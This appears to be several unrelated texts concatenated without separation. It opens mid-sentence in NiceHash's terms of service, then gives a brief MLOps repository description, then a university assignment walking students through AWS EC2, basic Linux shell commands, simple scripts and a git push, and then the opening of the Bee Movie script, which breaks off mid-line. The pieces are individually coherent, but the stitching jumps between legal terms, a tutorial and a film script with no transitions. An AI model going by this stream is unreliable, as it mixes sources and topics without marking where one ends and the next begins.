that completing the registration process and creating a NiceHash Account is necessary in order to collect the funds arising from the usage of NiceHash QuickMiner. Users of NiceHash QuickMiner who do not successfully register a NiceHash Account will lose their right to claim funds arising from their usage of NiceHash QuickMiner. Those funds, in addition to the condition that the user has not been active on the NiceHash QuickMiner web page for consecutive 7 days, will be donated to the charity of choice. NICEHASH PRIVATE ENDPOINT NiceHash Private Endpoint is a network interface that connects users privately and securely to NiceHash Stratum servers. Private Endpoint uses a private IP address and avoids additional latency caused by DDOS protection. All NiceHash Private Mining Proxy servers are managed by NiceHash and kept up-to-date. Users can request a dedicated private access endpoint by filling in the form for NiceHash Private Endpoint Solution available at the NiceHash Platform. In the form the user specifies the email address, country, number of connections and locations and algorithms used. Based on the request NiceHash prepares an individualized offer based on the pricing stipulated on the NiceHash Platform, available at https://www.nicehash.com/private-endpoint-solution. NiceHash may request additional information from the users of the Private Endpoint Solution in order to determine whether we are obligated to collect VAT from you, including your VAT identification number. INTELLECTUAL PROPERTY NiceHash retains all copyright and other intellectual property rights, including inventions, discoveries, knowhow, processes, marks, methods, compositions, formulae, techniques, information and data, whether or not patentable, copyrightable or protectable in trademark, and any trademarks, copyrights or patents based thereon over all content and other materials contained on NiceHash Platform or provided in connection with the Services, including, without limitation, the NiceHash logo and all designs, text, graphics, pictures, information, data, software, source code, as well as the compilation thereof, sound files, other files and the selection and arrangement thereof. This material is protected by international copyright laws and other intellectual property right laws, namely trademark. These Terms shall not be understood and interpreted in a way that they would mean assignment of copyright or other intellectual property rights, unless it is explicitly defined so in these Terms. NiceHash hereby grants you a limited, nonexclusive and non-sublicensable license to access and use NiceHash’s copyrighted work and other intellectual property for your personal or internal business use. Such license is subject to these Terms and does not permit any resale, the distribution, public performance or public display, modifying or otherwise making any derivative uses, use, publishing, transmission, reverse engineering, participation in the transfer or sale, or any way exploit any of the copyrighted work and other intellectual property other than for their intended purposes. This granted license will automatically terminate if NiceHash suspends or terminates your access to the Services, NiceHash Wallet or closes your NiceHash Account. NiceHash will own exclusive rights, including all intellectual property rights, to any feedback including, but not limited to, suggestions, ideas or other information or materials regarding NiceHash Services or related products that you provide, whether by email, posting through our NiceHash Platform, NiceHash Account or otherwise and you irrevocably assign any and all intellectual property rights on such feedback unlimited in time, scope and territory. Any Feedback you submit is non-confidential and shall become the sole property of NiceHash. NiceHash will be entitled to the unrestricted use, modification or dissemination of such feedback for any purpose, commercial or otherwise, without acknowledgment or compensation to you. You waive any rights you may have to the feedback. We have the right to remove any posting you make on NiceHash Platform if, in our opinion, your post does not comply with the content standards defined by these Terms. PRIVACY POLICY Please refer to our NiceHash Platform and Mining Services Privacy Policy published on the NiceHash Platform for information about how we collect, use and share your information, as well as what options do you have with regards to your personal information. COMMUNICATION AND SUPPORT You agree and consent to receive electronically all communications, agreements, documents, receipts, notices and disclosures that NiceHash provides in connection with your NiceHash Account or use of the NiceHash Platform and Services. You agree that NiceHash may provide these communications to you by posting them via the NiceHash Account or by emailing them to you at the email address you provide. You should maintain copies of electronic communications by printing a paper copy or saving an electronic copy. It is your responsibility to keep your email address updated in the NiceHash Account so that NiceHash can communicate with you electronically. You understand and agree that if NiceHash sends you an electronic communication but you do not receive it because your email address is incorrect, out of date, blocked by your service provider, or you are otherwise unable to receive electronic communications, it will be deemed that you have been provided with the communication. You can update your NiceHash Account preferences at any time by logging into your NiceHash Account. If your email address becomes invalid such that electronic communications sent to you by NiceHash are returned, NiceHash may deem your account to be inactive and close it. You may give NiceHash a notice under these Terms by sending an email to support@nicehash.com or contact NiceHash through support located on the NiceHash Platform. All communication and notices pursuant to these Terms must be given in English language. FEES Please refer to the NiceHash Platform for more information about the fees or administrative costs which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the Services provided after the change of the fees. You authorize us, or our designated payment processor, to charge or deduct your NiceHash Account for any applicable fees in connection with the transactions completed via the Services. TAX It is your responsibility to determine what, if any, taxes apply to the transactions you complete or services you provide via the NiceHash Platform, Mining Services and NiceHash Wallet, it is your responsibility to report and remit the correct tax to the appropriate tax authority and all your factual and potential tax obligations are your concern. You agree that NiceHash is not in any case and under no conditions responsible for determining whether taxes apply to your transactions or services or for collecting, reporting, withholding or remitting any taxes arising from any transactions or services. You also agree that NiceHash is not in any case and under no conditions bound to compensate for your tax obligation or give you any advice related to tax issues. All fees and charges payable by you to NiceHash are exclusive of any taxes, and shall certain taxes be applicable, they shall be added on top of the payable amounts. Upon our request, you will provide to us any information that we reasonably request to determine whether we are obligated to collect VAT from you, including your VAT identification number. If any deduction or withholding is required by law, you will notify NiceHash and will pay NiceHash any additional amounts necessary to ensure that the net amount received by NiceHash, after any deduction and withholding, equals the amount NiceHash would have received if no deduction or withholding had been required. Additionally, you will provide NiceHash with documentation showing that the withheld and deducted amounts have been paid to the relevant taxing authority. FINAL PROVISIONS Natural persons and legal entities that are not capable of holding legal rights and obligations are not allowed to create NiceHash Account and use NiceHash Platform or other related services. If NiceHash becomes aware that such natural person or legal entity has created the NiceHash Account or has used NiceHash Services, NiceHash will delete such NiceHash Account and disable any Services and block access to NiceHash Account and NiceHash Services to such natural person or legal entity. If you register to use the NiceHash Services on behalf of a legal entity, you represent and warrant that (i) such legal entity is duly organized and validly existing under the applicable laws of the jurisdiction of its organization; and (ii) you are duly authorized by such legal entity to act on its behalf. These Terms do not create any third-party beneficiary rights in any individual or entity. These Terms forms the entire agreement and understanding relating to the subject matter hereof and supersede any previous and contemporaneous agreements, arrangements or understandings relating to the subject matter hereof to the exclusion of any terms implied by law that may be excluded by contract. If at any time any provision of these Terms is or becomes illegal, invalid or unenforceable, the legality, validity and enforceability of every other provisions will not in any way be impaired. Such illegal, invalid or unenforceable provision of these Terms shall be deemed to be modified and replaced by such legal, valid and enforceable provision or arrangement, which corresponds as closely as possible to our and your will and business purpose pursued and reflected in these Terms. Headings of sections are for convenience only and shall not be used to limit or construe such sections. No failure to enforce nor delay in enforcing, on our side to the Terms, any right or legal remedy shall function as a waiver thereof, nor shall any individual or partial exercise of any right or legal remedy prevent any further or other enforcement of these rights or legal remedies or the enforcement of any other rights or legal remedies. NiceHash reserves the right to make changes, amendments, supplementations or modifications from time to time to these Terms including but not limited to changes of licence agreement for NiceHash Mining Software and of any fees and compensations policies, in its sole discretion and for any reason. We suggest that you review these Terms periodically for changes. If we make changes to these Terms, we will provide you with notice of such changes, such as by sending an email, providing notice on the NiceHash Platform, placing a popup window after login to the NiceHash Account or by posting the amended Terms on the NiceHash Platform and updating the date at the top of these Terms. The amended Terms will be deemed effective immediately upon posting for any new users of the NiceHash Services. In all other cases, the amended Terms will become effective for preexisting users upon the earlier of either: (i) the date users click or press a button to accept such changes in their NiceHash Account, or (ii) continued use of NiceHash Services 30 days after NiceHash provides notice of such changes. Any amended Terms will apply prospectively to use of the NiceHash Services after such changes become effective. The notice of change of these Terms is considered as notice of termination of all rights and obligations between you and NiceHash derived from these Terms with notice period of 30 days, if you do not accept the amended Terms. If you do not agree to any amended Terms, (i) the agreement between you and NiceHash is terminated by expiry of 30 days period which starts after NiceHash provides you a notice of change of these Terms, (ii) you must discontinue using NiceHash Services and (iii) you must inform us regarding your disagreement with the changes and request closure of your NiceHash Account. If you do not inform us regarding your disagreement and do not request closure of you NiceHash Account, we will deem that you agree with the changed Terms. You may not assign or transfer your rights or obligations under these Terms without the prior written consent of NiceHash. NiceHash may assign or transfer any or all of its rights under these Terms, in whole or in part, without obtaining your consent or approval. These Terms shall be governed by and construed and enforced in accordance with the Laws of the British Virgin Islands, and shall be interpreted in all respects as a British Virgin Islands contract. Any transaction, dispute, controversy, claim or action arising from or related to your access or use of the NiceHash Platform or these Terms of Service likewise shall be governed by the Laws of the British Virgin Islands, exclusive of choice-of-law principles. The rights and remedies conferred on NiceHash by, or pursuant to, these Terms are cumulative and are in addition, and without prejudice, to all other rights and remedies otherwise available to NiceHash at law. NiceHash may transfer its rights and obligations under these Terms to other entities which include, but are not limited to H-BIT, d.o.o. and NICEX Ltd, or any other firm or business entity that directly or indirectly acquires all or substantially all of the assets or business of NICEHASH Ltd. If you do not consent to any transfer, you may terminate this agreement and close your NiceHash Account. These Terms are not boilerplate. If you disagree with any of them, believe that any should not apply to you, or wish to negotiate these Terms, please contact NiceHash and immediately navigate away from the NiceHash Platform. Do not use the NiceHash Mining Services, NiceHash Wallet or other related services until you and NiceHash have agreed upon new terms of service. Last updated: March 1, 2021
mlops-guide
Example project with a complete MLOps cycle: versioning data, generating reports on pull requests and deploying the model on releases with DVC and CML using Github Actions and IBM Watson. Part of the Engineering Final Project @ Insper
nyaundid
SEIS 665 Assignment 2: Linux & Git Overview This week we will focus on becoming familiar with launching a Linux server and working with some basic Linux and Git commands. We will use AWS to launch and host the Linux server. AWS might seem a little confusing at this point. Don’t worry, we will gain much more hands-on experience with AWS throughout the course. The goal is to get you comfortable working with the technology and not overwhelm you with all the details. Requirements You need to have a personal AWS account and GitHub account for this assignment. You should also read the Git Hands-on Guide and Linux Hands-on Guide before beginning this exercise. A word about grading One of the key DevOps practices we learn about in this class is the use of automation to increase the speed and repeatability of processes. Automation is utilized during the assignment grading process to review and assess your work. It’s important that you follow the instructions in each assignment and type in required files and resources with the proper names. All names are case sensitive, so a name like "Web1" is not the same as "web1". If you misspell a name, use the wrong case, or put a file in the wrong directory location you will lose points on your assignment. This is the easiest way to lose points, and also the most preventable. You should always double-check your work to make sure it accurately reflects the requirements specified in the assignment. You should always carefully review the content of your files before submitting your assignment. The assignment Let’s get started! Create GitHub repository The first step in the assignment is to setup a Git repository on GitHub. We will use a special solution called GitHub Classroom for this course which automates the process of setting up student assignment repositories. Here are the basic steps: Click on the following link to open Assignment 2 on the GitHub Classroom site: https://classroom.github.com/a/K4zcVmX- (Links to an external site.)Links to an external site. Click on the Accept this assignment button. GitHub Classroom will provide you with a URL (https) to access the assignment repository. Either copy this address to your clipboard or write it down somewhere. You will need to use this address to set up the repository on a Linux server. Example: https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git At this point your new repository to ready to use. The repository is currently empty. We will put some content in there soon! Launch Linux server The second step in the assignment is to launch a Linux server using AWS EC2. The server should have the following characteristics: Amazon Linux 2 AMI 64-bit (usually the first option listed) Located in a U.S. region (us-east-1) t2.micro instance type All default instance settings (storage, vpm, security group, etc.) I’ve shown you how to launch EC2 instances in class. You can review it on Canvas. Once you launch the new server, it may take a few minutes to provision. Log into server The next step is to log into the Linux server using a terminal program with a secure shell (SSH) support. You can use iTerm2 (Links to an external site.)Links to an external site. on a Mac and GitBash/PuTTY (Links to an external site.)Links to an external site. on a PC. You will need to have the private server key and the public IP address before attempting to log into the server. The server key is basically your password. If you lose it, you will need to terminate the existing instance and launch a new server. I recommend reusing the same key when launching new servers throughout the class. Note, I make this recommendation to make the learning process easier and not because it is a common security practice. I’ve shown you how to use a terminal application to log into the instance using a Windows desktop. Your personal computer or lab computer may be running a different OS version, but the process is still very similar. You can review the videos on the Canvas. Working with Linux If you’ve made it this far, congratulations! You’ve made it over the toughest hurdle. By the end of this course, I promise you will be able to launch and log into servers in your sleep. You should be looking at a login screen that looks something like this: Last login: Mon Mar 21 21:17:54 2016 from 174-20-199-194.mpls.qwest.net __| __|_ ) _| ( / Amazon Linux AMI ___|\___|___| https://aws.amazon.com/amazon-linux-ami/2015.09-release-notes/ 8 package(s) needed for security, out of 17 available Run "sudo yum update" to apply all updates. ec2-user@ip-172-31-15-26 ~]$ Your terminal cursor is sitting at the shell prompt, waiting for you to type in your first command. Remember the shell? It is a really cool program that lets you start other programs and manage services on the Linux system. The rest of this assignment will be spent working with the shell. Note, when you are asked to type in a command in the steps below, don’t type in the dollar-sign ($) character. This is just meant to represent the command prompt. The actual commands are represented by the characters to the right of the command prompt. Let’s start by asking the shell for some help. Type in: $ help The shell provides you with a list of commands you can run along with possible command options. Next, check out one of the pages in the built-in manual: $ man ls A man page will appear with information on how to use the ls command. This command is used to list the contents of file directories. Either space through the contents of the man page or hit q to exit. Most of the core Linux commands have man pages available. But honestly, some of these man pages are a bit hard to understand. Sometimes your best bet is to search on Google if you are trying to figure out how to use a specific command. When you initially log into Linux, the system places you in your home directory. Each user on the system has a separate home directory. Let’s see where your home directory is located: $ pwd The response should be /home/ec2-user. The pwd command is handy to remember if you ever forget what file directory you are currently located in. If you recall from the Linux Hands-on Guide, this directory is also your current working directory. Type in: $ cd / The cd command let’s you change to a new working directory on the server. In this case, we changed to the root (/) directory. This is the parent of all the other directories on the file system. Type in: $ ls The ls command lists the contents of the current directory. As you can see, root directory contains many other directories. You will become familiar with these directories over time. The ls command provides a very basic directory listing. You need to supply the command with some options if you want to see more detailed information. Type in: $ ls -la See how this command provides you with much more detailed information about the files and directories? You can use this detailed listing to see the owner, group, and access control list settings for each file or directory. Do you see any files listed? Remember, the first character in the access control list column denotes whether a listed item is a file or a directory. You probably see a couple files with names like .autofsck. How come you didn’t see this file when you typed in the lscommand without any options? (Try to run this command again to convince yourself.) Files names that start with a period are called hidden files. These files won’t appear on normal directory listings. Type in: $ cd /var Then, type in: $ ls You will see a directory listing for the /var directory. Next, type in: $ ls .. Huh. This directory listing looks the same as the earlier root directory listing. When you use two periods (..) in a directory path that means you are referring to the parent directory of the current directory. Just think of the two dots as meaning the directory above the current directory. Now, type in: $ cd ~ $ pwd Whoa. We’re back at our home directory again. The tilde character (~) is another one of those handy little directory path shortcuts. It always refers to our personal home directory. Keep in mind that since every user has their own home directory, the tilde shortcut will refer to a unique directory for each logged-in user. Most students are used to navigating a file system by clicking a mouse in nested graphical folders. When they start using a command-line to navigate a file system, they sometimes get confused and lose track of their current position in the file system. Remember, you can always use the pwd command to quickly figure out what directory you are currently working in. Let’s make some changes to the file system. We can easily make our own directories on the file system. Type: mkdir test Now type: ls Cool, there’s our new test directory. Let’s pretend we don’t like that directory name and delete it. Type: rmdir test Now it’s gone. How can you be sure? You should know how to check to see if the directory still exists at this point. Go ahead and check. Let’s create another directory. Type in: $ mkdir documents Next, change to the new directory: $ cd documents Did you notice that your command prompt displays the name of the current directory? Something like: [ec2-user@ip-172-31-15-26 documents]$. Pretty handy, huh? Okay, let’s create our first file in the documents directory. This is just an empty file for training purposes. Type in: $ touch paper.txt Check to see that the new file is in the directory. Now, go back to the previous directory. Remember the double dot shortcut? $ cd .. Okay, we don’t like our documents directory any more. Let’s blow it away. Type in: $ rmdir documents Uh oh. The shell didn’t like that command because the directory isn’t empty. Let’s change back into the documents directory. But this time don’t type in the full name of the directory. You can let shell auto-completion do the typing for you. Type in the first couple characters of the directory name and then hit the tab key: $ cd doc<tab> You should use the tab auto-completion feature often. It saves typing and makes working with the Linux file system much much easier. Tab is your friend. Now, remove the file by typing: $ rm paper.txt Did you try to use the tab key instead of typing in the whole file name? Check to make sure the file was deleted from the directory. Next, create a new file: $ touch file1 We like file1 so much that we want to make a backup copy. Type: $ cp file1 file1-backup Check to make sure the new backup copy was created. We don’t really like the name of that new file, so let’s rename it. Type: $ mv file1-backup backup Moving a file to the same directory and giving it a new name is basically the same thing as renaming it. We could have moved it to a different directory if we wanted. Let’s list all of the files in the current directory that start with the letter f: $ ls f* Using wildcard pattern matching in file commands is really useful if you want the command to impact or filter a group of files. Now, go up one directory to the parent directory (remember the double dot shortcut?) We tried to remove the documents directory earlier when it had files in it. Obviously that won’t work again. However, we can use a more powerful command to destroy the directory and vanquish its contents. Behold, the all powerful remove command: $ rm -fr documents Did you remember to use auto-completion when typing in documents? This command and set of options forcibly removes the directory and its contents. It’s a dangerous command wielded by the mightiest Linux wizards. Okay, maybe that’s a bit of an exaggeration. Just be careful with it. Check to make sure the documents directory is gone before proceeding. Let’s continue. Change to the directory /var and make a directory called test. Ugh. Permission denied. We created this darn Linux server and we paid for it. Shouldn’t we be able to do anything we want on it? You logged into the system as a user called ec2-user. While this user can create and manage files in its home directory, it cannot change files all across the system. At least it can’t as a normal user. The ec2-user is a member of the root group, so it can escalate its privileges to super-user status when necessary. Let’s try it: $ sudo mkdir test Check to make sure the directory exists now. Using sudo we can execute commands as a super-user. We can do anything we want now that we know this powerful new command. Go ahead and delete the test directory. Did you remember to use sudo before the rmdir command? Check to make sure the directory is gone. You might be asking yourself the question: why can we list the contents of the /var directory but not make changes? That’s because all users have read access to the /var directory and the ls command is a read function. Only the root users or those acting as a super-user can write changes to the directory. Let’s go back to our home directory: $ cd ~ Editing text files is a really common task on Linux systems because many of the application configuration files are text files. We can create a text file by using a text editor. Type in: $ nano myfile.conf The shell starts up the nano text editor and places your terminal cursor in the editing screen. Nano is a simple text-based word processor. Type in a few lines of text. When you’re done writing your novel, hit ctrl-x and answer y to the prompt to save your work. Finally, hit enter to save the text to the filename you specified. Check to see that your file was saved in the directory. You can take a look at the contents of your file by typing: $ cat myfile.conf The cat command displays your text file content on the terminal screen. This command works fine for displaying small text files. But if your file is hundreds of lines long, the content will scroll down your terminal screen so fast that you won’t be able to easily read it. There’s a better way to view larger text files. Type in: $ less myfile.conf The less command will page the display of a text file, allowing you to page through the contents of the file using the space bar. Your text file is probably too short to see the paging in action though. Hit q to quit out of the less text viewer. Hit the up-arrow key on your keyboard a few times until the commmand nano myfile.conf appears next to your command prompt. Cool, huh? The up-arrow key allows you to replay a previously run command. Linux maintains a list of all the commands you have run since you logged into the server. This is called the command history. It’s a really useful feature if you have to re-run a complex command again. Now, hit ctrl-c. This cancels whatever command is displayed on the command line. Type in the following command to create a couple empty files in the directory: $ touch file1 file2 file3 Confirm that the files were created. Some commands, like touch. allow you to specify multiple files as arguments. You will find that Linux commands have all kinds of ways to make tasks more efficient like this. Throughout this assignment, we have been running commands and viewing results on the terminal screen. The screen is the standard place for commands to output results. It’s known as the standard out (stdout). However, it’s really useful to output results to the file system sometimes. Type in: $ ls > listing.txt Take a look at the directory listing now. You just created a new file. View the contents of the listing.txt file. What do you see? Instead of sending the output from the ls command to the screen we sent it to a text file. Let’s try another one. Type: $ cat myfile.conf > listing.txt Take a look at the contents of the listing.txt file again. It looks like your myfile.conf file now. It’s like you made a copy of it. But what happened to the previous content in the listing.txt file? When you redirect the output of a command using the right angle-bracket character (>), the output overwrites the existing file. Type this command in: $ cat myfile.conf >> listing.txt Now look at the contents of the listing.txt file. You should see your original content displayed twice. When you use two angle-bracket characters in the commmand the output appends (or adds to) the file instead of overwriting it. We redirected the output from a command to a text file. It’s also possible to redirect the input to a command. Typically we use a keyboard to provide input, but sometimes it makes more sense to input a file to a command. For example, how many words are in your new listing.txt file? Let’s find out. Type in: $ wc -w < listing.txt Did you get a number? This command inputs the listing.txt file into a word count program called wc. Type in the command: $ ls /usr/bin The terminal screen probably scrolled quickly as filenames flashed by. The /usr/bin directory holds quite a few files. It would be nice if we could page through the contents of this directory. Well, we can. We can use a special shell feature called pipes. In previous steps, we redirected I/O using the file system. Pipes allow us to redirect I/O between programs. We can redirect the output from one program into another. Type in: $ ls /usr/bin | less Now the directory listing is paged. Hit the spacebar to page through the listing. The pipe, represented by a vertical bar character (|), takes the output from the ls command and redirects it to the less command where the resulting output is paged. Pipes are super powerful and used all the time by savvy Linux operators. Hit the q key to quit the paginated directory listing command. Working with shell scripts Now things are going to get interesting. We’ve been manually typing in commands throughout this exercise. If we were running a set of repetitive tasks, we would want to automate the process as much as possible. The shell makes it really easy to automate tasks using shell scripts. The shell provides many of the same features as a basic procedural programming language. Let’s write some code. Type in this command: $ j=123 $ echo $j We just created a variable named j referencing the string 123. The echo command printed out the value of the variable. We had to use a dollar sign ($) when referencing the variable in another command. Next, type in: $ j=1+1 $ echo $j Is that what you expected? The shell just interprets the variable value as a string. It’s not going to do any sort of computation. Typing in shell script commands on the command line is sort of pointless. We want to be able to create scripts that we can run over-and-over. Let’s create our first shell script. Use the nano editor to create a file named myscript. When the file is open in the editor, type in the following lines of code: #!/bin/bash echo Hello $1 Now quit the editor and save your file. We can run our script by typing: $ ./myscript World Er, what happened? Permission denied. Didn’t we create this file? Why can’t we run it? We can’t run the script file because we haven’t set the execute permission on the file. Type in: $ chmod u+x myscript This modifies the file access control list to allow the owner of the file to execute it. Let’s try to run the command again. Hit the up-arrow key a couple times until the ./myscript World command is displayed and hit enter. Hooray! Our first shell script. It’s probably a bit underwhelming. No problem, we’ll make it a little more complex. The script took a single argument called World. Any arguments provided to a shell script are represented as consecutively numbered variables inside the script ($1, $2, etc). Pretty simple. You might be wondering why we had to type the ./ characters before the name of our script file. Try to type in the command without them: $ myscript World Command not found. That seems a little weird. Aren’t we currently in the directory where the shell script is located? Well, that’s just not how the shell works. When you enter a command into the shell, it looks for the command in a predefined set of directories on the server called your PATH. Since your script file isn’t in your special path, the shell reports it as not found. By typing in the ./ characters before the command name you are basically forcing the shell to look for your script in the current directory instead of the default path. Create another file called cleanup using nano. In the file editor window type: #!/bin/bash # My cleanup script mkdir archive mv file* archive Exit the editor window and save the file. Change the permissions on the script file so that you can execute it. Now run the command: $ ./cleanup Take a look at the file directory listing. Notice the archive directory? List the contents of that directory. The script automatically created a new directory and moved three files into it. Anything you can do manually at a command prompt can be automated using a shell script. Let’s create one more shell script. Use nano to create a script called namelist. Here is the content of the script: #!/bin/bash # for-loop test script names='Jason John Jane' for i in $names do echo Hello $i done Change the permissions on the script file so that you can execute it. Run the command: $ ./namelist The script will loop through a set of names stored in a variable displaying each one. Scripts support several programming constructs like for-loops, do-while loops, and if-then-else. These building blocks allow you to create fairly complex scripts for automating tasks. Installing packages and services We’re nearing the end of this assignment. But before we finish, let’s install some new software packages on our server. The first thing we should do is make sure all the current packages installed on our Linux server are up-to-date. Type in: $ sudo yum update -y This is one of those really powerful commands that requires sudo access. The system will review the currently installed packages and go out to the Internet and download appropriate updates. Next, let’s install an Apache web server on our system. Type in: $ sudo yum install httpd -y Bam! You probably never knew that installing a web server was so easy. We’re not going to actually use the web server in this exercise, but we will in future assignments. We installed the web server, but is it actually running? Let’s check. Type in: $ sudo service httpd status Nope. Let’s start it. Type: $ sudo service httpd start We can use the service command to control the services running on the system. Let’s setup the service so that it automatically starts when the system boots up. Type in: $ sudo chkconfig httpd on Cool. We installed the Apache web server on our system, but what other programs are currently running? We can use the pscommand to find out. Type in: $ ps -ax Lots of processes are running on our system. We can even look at the overall performance of our system using the topcommand. Let’s try that now. Type in: $ top The display might seem a little overwhelming at first. You should see lots of performance information displayed including the cpu usage, free memory, and a list of running tasks. We’re almost across the finish line. Let’s make sure all of our valuable work is stored in a git repository. First, we need to install git. Type in the command: $ sudo yum install git -y Check your work It’s very important to check your work before submitting it for grading. A misspelled, misplaced or missing file will cost you points. This may seem harsh, but the reality is that these sorts of mistakes have consequences in the real world. For example, a server instance could fail to launch properly and impact customers because a single required file is missing. Here is what the contents of your git repository should look like before final submission: ┣archive ┃ ┣ file1 ┃ ┣ file2 ┃ ┗ file3 ┣ namelist ┗ myfile.conf Saving our work in the git repository Next, make sure you are still in your home directory (/home/ec2-user). We will install the git repository you created at the beginning of this exercise. You will need to modify this command by typing in the GitHub repository URL you copied earlier. $ git clone <your GitHub URL here>.git Example: git clone https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git The git application will ask you for your GitHub username and password. Note, if you have multi-factor authentication enabled on your GitHub account you will need to provide a personal token instead of your password. Git will clone (copy) the repository from GitHub to your Linux server. Since the repository is empty the clone happens almost instantly. Check to make sure that a sub-directory called "hw2-seis665-02-spring2019-<username>" exists in the current directory (where <username> is your GitHub account name). Git automatically created this directory as part of the cloning process. Change to the hw2-seis665-02-spring2019-<username> directory and type: $ ls -la Notice the .git hidden directory? This is where git actually stores all of the file changes in your repository. Nothing is actually in your repository yet. Change back to the parent directory (cd ..). Next, let’s move some of our files into the repository. Type: $ mv archive hw2-seis665-02-spring2019-<username> $ mv namelist hw2-seis665-02-spring2019-<username> $ mv myfile.conf hw2-seis665-02-spring2019-<username> Hopefully, you remembered to use the auto-complete function to reduce some of that typing. Change to the hw2-seis665-02-spring2019-<username> directory and list the directory contents. Your files are in the working directory, but are not actually stored in the repository because they haven’t been committed yet. Type in: $ git status You should see a list of untracked files. Let’s tell git that we want these files tracked. Type in: $ git add * Now type in the git status command again. Notice how all the files are now being tracked and are ready to be committed. These files are in the git staging area. We’ll commit them to the repository next. Type: $ git commit -m 'assignment 2 files' Next, take a look at the commit log. Type: $ git log You should see your commit listed along with an assigned hash (long string of random-looking characters). Finally, let’s save the repository to our GitHub account. Type in: $ git push origin master The git client will ask you for your GitHub username and password before pushing the repository. Go back to the GitHub.com website and login if you have been logged out. Click on the repository link for the assignment. Do you see your files listed there? Congratulations, you completed the exercise! Terminate server The last step is to terminate your Linux instance. AWS will bill you for every hour the instance is running. The cost is nominal, but there’s no need to rack up unnecessary charges. Here are the steps to terminate your instance: Log into your AWS account and click on the EC2 dashboard. Click the Instances menu item. Select your server in the instances table. Click on the Actions drop down menu above the instances table. Select the Instance State menu option Click on the Terminate action. Your Linux instance will shutdown and disappear in a few minutes. The EC2 dashboard will continue to display the instance on your instance listing for another day or so. However, the state of the instance will be terminated. Submitting your assignment — IMPORTANT! If you haven’t already, please e-mail me your GitHub username in order to receive credit for this assignment. There is no need to email me to tell me that you have committed your work to GitHub or to ask me if your GitHub submission worked. If you can see your work in your GitHub repository, I can see your work.
S4ltster
Bee Movie script for educational purposes only, anyways According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Coming! Hang on a second. Hello? Barry? Adam? Can you believe this is happening? I can't. I'll pick you up. Looking sharp. Use the stairs, Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. You got lint on your fuzz. Ow! That's me! Wave to us! We'll be in row 118,000. Bye! Barry, I told you, stop flying in the house! Hey, Adam. Hey, Barry. Is that fuzz gel? A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around The Hive. You did come back different. Hi, Barry. Artie, growing a mustache? Looks good. Hear about Frankie? Yeah. You going to the funeral? No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp under the circumstances. Well, Adam, today we are men. We are! Bee-men. Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive City graduating class of 9:15. That concludes our ceremonies And begins your career at Honex Industries! Will we pick our job today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. Wonder what it'll be like? A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to The Hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! That girl was hot. She's my cousin! She is? Yes, we're all cousins. Right. You're right. At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. What do you think he makes? Not enough. Here we have our latest advancement, the Krelman. What does that do? Catches that little strand of honey that hangs after you pour it. Saves us millions. Can anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Check it out. Hey, those are Pollen Jocks! Wow. I've never seen them this close. They know what it's like outside The Hive. Yeah, but some don't come back. Hey, Jocks! Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! I wonder where they were. I don't know. Their day's not planned. Outside The Hive, flying who knows where, doing who knows what. You can't just decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. Couple of Hive Harrys. Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! Oh, my! I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. Six miles, huh? Barry! A puddle jump for us, but maybe you're not up for it. Maybe I am. You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? Well, there's a lot of choices. But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! Barry, you are so funny sometimes. I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! You're gonna be a stirrer? No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody 